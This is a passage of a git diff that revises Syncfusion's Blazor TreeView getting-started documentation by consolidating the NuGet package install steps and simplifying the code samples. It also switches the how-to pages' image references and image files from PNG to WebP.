-To get started quickly with Blazor TreeView component, refer to this [GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/TreeView) sample.
+This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeView](https://www.syncfusion.com/blazor-components/blazor-treeview) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 {% tabcontents %}
 
@@ -27,23 +25,6 @@ To get started quickly with Blazor TreeView component, refer to this [GitHub](ht
 
 Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
 
-![Blazor WASM Create Project Template](images/blazor-wasm-app-template.png)
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Navigations and Themes NuGet in the App
-
-To add the **Blazor TreeView** component in the app, open the NuGet package manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), then search and install [Syncfusion.Blazor.Navigations](https://www.nuget.org/packages/Syncfusion.Blazor.Navigations/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/).Alternatively, the Package Manager Console can be used to install the required NuGet package.
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.Navigations -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
@@ -56,7 +37,7 @@ N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are availa
 
 Create a **Blazor WebAssembly App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=visual-studio-code) documentation.
 
-Alternatively, create a WebAssembly application by using the following command in the integrated terminal(<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+Alternatively, create a WebAssembly application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
 
@@ -69,26 +50,6 @@ cd BlazorApp
 
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Navigations and Themes NuGet in the App
-
-* Press <kbd>Ctrl</kbd>+<kbd>`</kbd> to open the integrated terminal in Visual Studio Code.
-* Ensure the current directory is the project root where the `.csproj` file is located.
-* Run the following command to install the [Syncfusion.Blazor.Navigations](https://www.nuget.org/packages/Syncfusion.Blazor.Navigations) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages and ensure all dependencies are installed.
-
-{% tabs %}
-
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.Navigations -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
-
-{% endhighlight %}
-
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -107,7 +68,7 @@ dotnet --version
 
 ## Create a Blazor WebAssembly App using .NET CLI
 
-Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to [this Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
+Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
 
 {% tabs %}
 {% highlight c# tabtitle=".NET CLI" %}
@@ -118,32 +79,33 @@ cd BlazorApp
 {% endhighlight %}
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Navigations and Themes NuGet in the App
+{% endtabcontent %}
+
+{% endtabcontents %}
+
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.Navigations](https://www.nuget.org/packages/Syncfusion.Blazor.Navigations/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
 
-To add the **Blazor TreeView** component in the application, run the following command in a command prompt (Windows) or terminal (Linux and macOS) to install the [Syncfusion.Blazor.Navigations](https://www.nuget.org/packages/Syncfusion.Blazor.Navigations/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages. See [Install and manage packages using the dotnet CLI](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-dotnet-cli) for more details.
+Alternatively, run the following commands in the Package Manager Console to achieve the same.
 
 {% tabs %}
-{% highlight c# tabtitle=".NET CLI" %}
+{% highlight C# tabtitle="Package Manager" %}
 
-dotnet add package Syncfusion.Blazor.Navigations -Version {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-dotnet restore
+Install-Package Syncfusion.Blazor.Navigations -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-{% endtabcontent %}
+## Add import namespaces
 
-{% endtabcontents %}
-
-## Add Import Namespaces
-
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Navigations` namespaces.
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Navigations` namespaces.
 
 {% tabs %}
-{% highlight razor tabtitle="~/_Imports.razor" %}
+{% highlight C# tabtitle="~/_Imports.razor" %}
 
 @using Syncfusion.Blazor
 @using Syncfusion.Blazor.Navigations
@@ -151,25 +113,17 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service in the **~/Program.cs** file of the Blazor WebAssembly App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App.
 
 {% tabs %}
-{% highlight C# tabtitle="~/Program.cs" hl_lines="3 11" %}
+{% highlight C# tabtitle="Program.cs" %}
 
-using Microsoft.AspNetCore.Components.Web;
-using Microsoft.AspNetCore.Components.WebAssembly.Hosting;
+....
 using Syncfusion.Blazor;
-
-var builder = WebAssemblyHostBuilder.CreateDefault(args);
-builder.RootComponents.Add<App>("#app");
-builder.RootComponents.Add<HeadOutlet>("head::after");
-
-builder.Services.AddScoped(sp => new HttpClient { BaseAddress = new Uri(builder.HostEnvironment.BaseAddress) });
-
+....
 builder.Services.AddSyncfusionBlazor();
-await builder.Build().RunAsync();
 ....
 
 {% endhighlight %}
@@ -177,27 +131,24 @@ await builder.Build().RunAsync();
 
 ## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references within the `<head>` section of the **~/index.html** file.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
 ```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-
-    //Blazor TreeView Component script reference.
-    <!-- <script src="_content/Syncfusion.Blazor.Navigations/scripts/sf-treeview.min.js" type="text/javascript"></script> -->
-</head>
+
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+....
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
 ```
 
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in Blazor application.
+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in the Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
 
-## Add Blazor TreeView component
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeView component
 
 Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeView component in the **~/Pages/Index.razor** file.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
 
 @using Syncfusion.Blazor.Navigations
 
@@ -259,9 +210,11 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeView compone
 
 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeView component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VjVpNCKjJwHmLAFC?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeView Component](./images/blazor-treeview.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VjVpNCKjJwHmLAFC?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeView Component](./images/blazor-treeview.webp)" %}
+
+N> [View sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/TreeView).
 
-## See Also
+## See also
 
 * [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Client-Side in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app)
 * [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Client-Side in Visual Studio](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-visual-studio)
diff --git a/blazor/treeview/how-to/accordion-tree.md b/blazor/treeview/how-to/accordion-tree.md
index a6c06180d5..23ea61c80d 100644
--- a/blazor/treeview/how-to/accordion-tree.md
+++ b/blazor/treeview/how-to/accordion-tree.md
@@ -214,4 +214,4 @@ An accordion is a UI pattern where a list of items allows one item to be expande
 </style>
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hZhoMjCBqcFBIQiH?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customizing Blazor TreeView as Accordion](../images/blazor-treeview-with-custom-accordion.png)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hZhoMjCBqcFBIQiH?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customizing Blazor TreeView as Accordion](../images/blazor-treeview-with-custom-accordion.webp)" %}
\ No newline at end of file
diff --git a/blazor/treeview/how-to/check-uncheck-the-checkbox-on-clicking-the-tree-node-text.md b/blazor/treeview/how-to/check-uncheck-the-checkbox-on-clicking-the-tree-node-text.md
index d92069f21a..3ef3e5d900 100644
--- a/blazor/treeview/how-to/check-uncheck-the-checkbox-on-clicking-the-tree-node-text.md
+++ b/blazor/treeview/how-to/check-uncheck-the-checkbox-on-clicking-the-tree-node-text.md
@@ -190,4 +190,4 @@ Checkboxes in the TreeView can be checked and unchecked by clicking the tree nod
 }
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VtLesXsrAwEkrazW?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Checking or Unchecking CheckBox in Blazor TreeView](../images/blazor-treeview-checkbox.png)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VtLesXsrAwEkrazW?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Checking or Unchecking CheckBox in Blazor TreeView](../images/blazor-treeview-checkbox.webp)" %}
\ No newline at end of file
diff --git a/blazor/treeview/how-to/customize-the-expand-and-collapse-icons.md b/blazor/treeview/how-to/customize-the-expand-and-collapse-icons.md
index 00eb545bd5..8ada5e230b 100644
--- a/blazor/treeview/how-to/customize-the-expand-and-collapse-icons.md
+++ b/blazor/treeview/how-to/customize-the-expand-and-collapse-icons.md
@@ -139,7 +139,7 @@ The following example demonstrates how to customize the expand and collapse icon
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rXhSsjMrKbjcuFLi?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customizing Expand and Collapse Icon in Blazor TreeView](../images/blazor-treeview-customize-expand-collapse-icon.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rXhSsjMrKbjcuFLi?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customizing Expand and Collapse Icon in Blazor TreeView](../images/blazor-treeview-customize-expand-collapse-icon.webp)" %}
 
 ## Customize Expand/Collapse Icon Position and Color
 
@@ -338,7 +338,7 @@ The position and color of the expand or collapse icons are customized using CSS.
 </style>
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rDBIMDMrKbiQKRCm?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customizing Icon Position and Color in Blazor TreeView](../images/blazor-treeview-custom-icons-position-and-color.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rDBIMDMrKbiQKRCm?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customizing Icon Position and Color in Blazor TreeView](../images/blazor-treeview-custom-icons-position-and-color.webp)" %}
 
 ## Increase Padding Between Text, Expand/Collapse Icons, and Custom Icons
 
@@ -370,4 +370,4 @@ The spacing between the text, expand/collapse icons, and custom element icons is
     }
 ```
 
-![Increasing Spaces between Icon and Text in Blazor TreeView](../images/blazor-treeview-custom-icons-space.png)
\ No newline at end of file
+![Increasing Spaces between Icon and Text in Blazor TreeView](../images/blazor-treeview-custom-icons-space.webp)
\ No newline at end of file
diff --git a/blazor/treeview/how-to/customize-the-tree-nodes-based-on-levels.md b/blazor/treeview/how-to/customize-the-tree-nodes-based-on-levels.md
index b687c1f05a..12a381a328 100644
--- a/blazor/treeview/how-to/customize-the-tree-nodes-based-on-levels.md
+++ b/blazor/treeview/how-to/customize-the-tree-nodes-based-on-levels.md
@@ -139,4 +139,4 @@ The following example demonstrates customizing node appearance at various levels
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BXhIWNihKvBuqmZc?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customizing Nodes based on Levels in Blazor TreeView](../images/blazor-treeview-with-custom-nodes.png)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BXhIWNihKvBuqmZc?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customizing Nodes based on Levels in Blazor TreeView](../images/blazor-treeview-with-custom-nodes.webp)" %}
\ No newline at end of file
diff --git a/blazor/treeview/how-to/get-dynamic-icon.md b/blazor/treeview/how-to/get-dynamic-icon.md
index 8c9694af60..932f92f350 100644
--- a/blazor/treeview/how-to/get-dynamic-icon.md
+++ b/blazor/treeview/how-to/get-dynamic-icon.md
@@ -98,4 +98,4 @@ bound `IconCss` class dynamically. Using the [`GetTreeData`](https://help.syncfu
 </style>
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LZryMNCBAPAkNGNK?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeView with Dynamic Icon](../images/blazor-treeview-dynamic-icon.png)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LZryMNCBAPAkNGNK?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeView with Dynamic Icon](../images/blazor-treeview-dynamic-icon.webp)" %}
\ No newline at end of file
diff --git a/blazor/treeview/how-to/validate-the-text-when-renaming-the-tree-node.md b/blazor/treeview/how-to/validate-the-text-when-renaming-the-tree-node.md
index 23371d3d0b..ec17dce98b 100644
--- a/blazor/treeview/how-to/validate-the-text-when-renaming-the-tree-node.md
+++ b/blazor/treeview/how-to/validate-the-text-when-renaming-the-tree-node.md
@@ -120,4 +120,4 @@ Node text is validated during the editing process using the [`NodeEdited`](https
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LDresjCVKbokLFvR?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Renaming Tree Node in Blazor TreeView](../images/blazor-treeview-rename-tree-node.png)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LDresjCVKbokLFvR?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Renaming Tree Node in Blazor TreeView](../images/blazor-treeview-rename-tree-node.webp)" %}
\ No newline at end of file
diff --git a/blazor/treeview/images/Virtualization.gif b/blazor/treeview/images/Virtualization.gif
deleted file mode 100644
index dab63a844a..0000000000
Binary files a/blazor/treeview/images/Virtualization.gif and /dev/null differ
diff --git a/blazor/treeview/images/Virtualization.webp b/blazor/treeview/images/Virtualization.webp
new file mode 100644
index 0000000000..ecb2dc48de
Binary files /dev/null and b/blazor/treeview/images/Virtualization.webp differ
diff --git a/blazor/treeview/images/add-remove-node.png b/blazor/treeview/images/add-remove-node.png
deleted file mode 100644
index 04f9cda9ea..0000000000
Binary files a/blazor/treeview/images/add-remove-node.png and /dev/null differ
diff --git a/blazor/treeview/images/add-remove-node.webp b/blazor/treeview/images/add-remove-node.webp
new file mode 100644
index 0000000000..dcc161042f
Binary files /dev/null and b/blazor/treeview/images/add-remove-node.webp differ
diff --git a/blazor/treeview/images/blazor-create-web-app.png b/blazor/treeview/images/blazor-create-web-app.png
deleted file mode 100644
index 7dd6e612d2..0000000000
Binary files a/blazor/treeview/images/blazor-create-web-app.png and /dev/null differ
diff --git a/blazor/treeview/images/blazor-create-web-app.webp b/blazor/treeview/images/blazor-create-web-app.webp
new file mode 100644
index 0000000000..199356f771
Binary files /dev/null and b/blazor/treeview/images/blazor-create-web-app.webp differ
diff --git a/blazor/treeview/images/blazor-nuget-explorer.png b/blazor/treeview/images/blazor-nuget-explorer.png
deleted file mode 100644
index f9306f219e..0000000000
Binary files a/blazor/treeview/images/blazor-nuget-explorer.png and /dev/null differ
diff --git a/blazor/treeview/images/blazor-nuget-explorer.webp b/blazor/treeview/images/blazor-nuget-explorer.webp
new file mode 100644
index 0000000000..4353f9ac92
Binary files /dev/null and b/blazor/treeview/images/blazor-nuget-explorer.webp differ
diff --git a/blazor/treeview/images/blazor-nuget.png b/blazor/treeview/images/blazor-nuget.png
deleted file mode 100644
index ecdfab8137..0000000000
Binary files a/blazor/treeview/images/blazor-nuget.png and /dev/null differ
diff --git a/blazor/treeview/images/blazor-nuget.webp b/blazor/treeview/images/blazor-nuget.webp
new file mode 100644
index 0000000000..0f65dbfa63
Binary files /dev/null and b/blazor/treeview/images/blazor-nuget.webp differ
diff --git a/blazor/treeview/images/blazor-treeview-Icon-integration.png b/blazor/treeview/images/blazor-treeview-Icon-integration.png
deleted file mode 100644
index 2d2ae3259a..0000000000
Binary files a/blazor/treeview/images/blazor-treeview-Icon-integration.png and /dev/null differ
diff --git a/blazor/treeview/images/blazor-treeview-Icon-integration.webp b/blazor/treeview/images/blazor-treeview-Icon-integration.webp
new file mode 100644
index 0000000000..e3c47a19e5
Binary files /dev/null and b/blazor/treeview/images/blazor-treeview-Icon-integration.webp differ
diff --git a/blazor/treeview/images/blazor-treeview-badge-integration.png b/blazor/treeview/images/blazor-treeview-badge-integration.png
deleted file mode 100644
index 03967de412..0000000000
Binary files a/blazor/treeview/images/blazor-treeview-badge-integration.png and /dev/null differ
diff --git a/blazor/treeview/images/blazor-treeview-badge-integration.webp b/blazor/treeview/images/blazor-treeview-badge-integration.webp
new file mode 100644
index 0000000000..67a175c452
Binary files /dev/null and b/blazor/treeview/images/blazor-treeview-badge-integration.webp differ
diff --git a/blazor/treeview/images/blazor-treeview-checkbox.png b/blazor/treeview/images/blazor-treeview-checkbox.png
deleted file mode 100644
index 6dff66c246..0000000000
Binary files a/blazor/treeview/images/blazor-treeview-checkbox.png and /dev/null differ
diff --git a/blazor/treeview/images/blazor-treeview-checkbox.webp b/blazor/treeview/images/blazor-treeview-checkbox.webp
new file mode 100644
index 0000000000..80799cf770
Binary files /dev/null and b/blazor/treeview/images/blazor-treeview-checkbox.webp differ
diff --git a/blazor/treeview/images/blazor-treeview-child-node-selection.png b/blazor/treeview/images/blazor-treeview-child-node-selection.png
deleted file mode 100644
index dcebe1fc21..0000000000
Binary files a/blazor/treeview/images/blazor-treeview-child-node-selection.png and /dev/null differ
diff --git a/blazor/treeview/images/blazor-treeview-child-node-selection.webp b/blazor/treeview/images/blazor-treeview-child-node-selection.webp
new file mode 100644
index 0000000000..9aea2cb54a
Binary files /dev/null and b/blazor/treeview/images/blazor-treeview-child-node-selection.webp differ
diff --git a/blazor/treeview/images/blazor-treeview-custom-icons-position-and-color.png b/blazor/treeview/images/blazor-treeview-custom-icons-position-and-color.png
deleted file mode 100644
index a87a3852f2..0000000000
Binary files a/blazor/treeview/images/blazor-treeview-custom-icons-position-and-color.png and /dev/null differ
diff --git a/blazor/treeview/images/blazor-treeview-custom-icons-position-and-color.webp b/blazor/treeview/images/blazor-treeview-custom-icons-position-and-color.webp
new file mode 100644
index 0000000000..e68a261317
Binary files /dev/null and b/blazor/treeview/images/blazor-treeview-custom-icons-position-and-color.webp differ
diff --git a/blazor/treeview/images/blazor-treeview-custom-icons-space.png b/blazor/treeview/images/blazor-treeview-custom-icons-space.png
deleted file mode 100644
index 1ba5724c7e..0000000000
Binary files a/blazor/treeview/images/blazor-treeview-custom-icons-space.png and /dev/null differ
diff --git a/blazor/treeview/images/blazor-treeview-custom-icons-space.webp b/blazor/treeview/images/blazor-treeview-custom-icons-space.webp
new file mode 100644
index 0000000000..d44d0eaa84
Binary files /dev/null and b/blazor/treeview/images/blazor-treeview-custom-icons-space.webp differ
diff --git a/blazor/treeview/images/blazor-treeview-customize-expand-collapse-icon.png b/blazor/treeview/images/blazor-treeview-customize-expand-collapse-icon.png
deleted file mode 100644
index d407aed5d0..0000000000
Binary files a/blazor/treeview/images/blazor-treeview-customize-expand-collapse-icon.png and /dev/null differ
diff --git a/blazor/treeview/images/blazor-treeview-customize-expand-collapse-icon.webp b/blazor/treeview/images/blazor-treeview-customize-expand-collapse-icon.webp
new file mode 100644
index 0000000000..44d31b1cfa
Binary files /dev/null and b/blazor/treeview/images/blazor-treeview-customize-expand-collapse-icon.webp differ
diff --git a/blazor/treeview/images/blazor-treeview-drag-and-drop-between-treeviews.png b/blazor/treeview/images/blazor-treeview-drag-and-drop-between-treeviews.png
deleted file mode 100644
index be4e6a15dd..0000000000
Binary files a/blazor/treeview/images/blazor-treeview-drag-and-drop-between-treeviews.png and /dev/null differ
diff --git a/blazor/treeview/images/blazor-treeview-drag-and-drop-between-treeviews.webp b/blazor/treeview/images/blazor-treeview-drag-and-drop-between-treeviews.webp
new file mode 100644
index 0000000000..cddfeb2a44
Binary files /dev/null and b/blazor/treeview/images/blazor-treeview-drag-and-drop-between-treeviews.webp differ
diff --git a/blazor/treeview/images/blazor-treeview-drag-and-drop-within-treeview.png b/blazor/treeview/images/blazor-treeview-drag-and-drop-within-treeview.png
deleted file mode 100644
index c834d6dbe0..0000000000
Binary files a/blazor/treeview/images/blazor-treeview-drag-and-drop-within-treeview.png and /dev/null differ
diff --git a/blazor/treeview/images/blazor-treeview-drag-and-drop-within-treeview.webp b/blazor/treeview/images/blazor-treeview-drag-and-drop-within-treeview.webp
new file mode 100644
index 0000000000..1c7b2df148
Binary files /dev/null and b/blazor/treeview/images/blazor-treeview-drag-and-drop-within-treeview.webp differ
diff --git a/blazor/treeview/images/blazor-treeview-drag-drop-multi-node.png b/blazor/treeview/images/blazor-treeview-drag-drop-multi-node.png
deleted file mode 100644
index a8f8070cd4..0000000000
Binary files a/blazor/treeview/images/blazor-treeview-drag-drop-multi-node.png and /dev/null differ
diff --git a/blazor/treeview/images/blazor-treeview-drag-drop-multi-node.webp b/blazor/treeview/images/blazor-treeview-drag-drop-multi-node.webp
new file mode 100644
index 0000000000..30be2f5653
Binary files /dev/null and b/blazor/treeview/images/blazor-treeview-drag-drop-multi-node.webp differ
diff --git a/blazor/treeview/images/blazor-treeview-drag-drop-node.png b/blazor/treeview/images/blazor-treeview-drag-drop-node.png
deleted file mode 100644
index 4ba0f689c1..0000000000
Binary files a/blazor/treeview/images/blazor-treeview-drag-drop-node.png and /dev/null differ
diff --git a/blazor/treeview/images/blazor-treeview-drag-drop-node.webp b/blazor/treeview/images/blazor-treeview-drag-drop-node.webp
new file mode 100644
index 0000000000..f7b91d2341
Binary files /dev/null and b/blazor/treeview/images/blazor-treeview-drag-drop-node.webp differ
diff --git a/blazor/treeview/images/blazor-treeview-dynamic-icon.png b/blazor/treeview/images/blazor-treeview-dynamic-icon.png
deleted file mode 100644
index 7184fdc74e..0000000000
Binary files a/blazor/treeview/images/blazor-treeview-dynamic-icon.png and /dev/null differ
diff --git a/blazor/treeview/images/blazor-treeview-dynamic-icon.webp b/blazor/treeview/images/blazor-treeview-dynamic-icon.webp
new file mode 100644
index 0000000000..26f68e7d0d
Binary files /dev/null and b/blazor/treeview/images/blazor-treeview-dynamic-icon.webp differ
diff --git a/blazor/treeview/images/blazor-treeview-expand-nodes-through-data-binding.png b/blazor/treeview/images/blazor-treeview-expand-nodes-through-data-binding.png
deleted file mode 100644
index 947bfda774..0000000000
Binary files a/blazor/treeview/images/blazor-treeview-expand-nodes-through-data-binding.png and /dev/null differ
diff --git a/blazor/treeview/images/blazor-treeview-expand-nodes-through-data-binding.webp b/blazor/treeview/images/blazor-treeview-expand-nodes-through-data-binding.webp
new file mode 100644
index 0000000000..067c435975
Binary files /dev/null and b/blazor/treeview/images/blazor-treeview-expand-nodes-through-data-binding.webp differ
diff --git a/blazor/treeview/images/blazor-treeview-get-checked-nodes.png b/blazor/treeview/images/blazor-treeview-get-checked-nodes.png
deleted file mode 100644
index 5d64331c4c..0000000000
Binary files a/blazor/treeview/images/blazor-treeview-get-checked-nodes.png and /dev/null differ
diff --git a/blazor/treeview/images/blazor-treeview-get-checked-nodes.webp b/blazor/treeview/images/blazor-treeview-get-checked-nodes.webp
new file mode 100644
index 0000000000..c4f5b02275
Binary files /dev/null and b/blazor/treeview/images/blazor-treeview-get-checked-nodes.webp differ
diff --git a/blazor/treeview/images/blazor-treeview-get-expanded-nodes.png b/blazor/treeview/images/blazor-treeview-get-expanded-nodes.png
deleted file mode 100644
index 8a0a51e9ff..0000000000
Binary files a/blazor/treeview/images/blazor-treeview-get-expanded-nodes.png and /dev/null differ
diff --git a/blazor/treeview/images/blazor-treeview-get-expanded-nodes.webp b/blazor/treeview/images/blazor-treeview-get-expanded-nodes.webp
new file mode 100644
index 0000000000..2e0066017c
Binary files /dev/null and b/blazor/treeview/images/blazor-treeview-get-expanded-nodes.webp differ
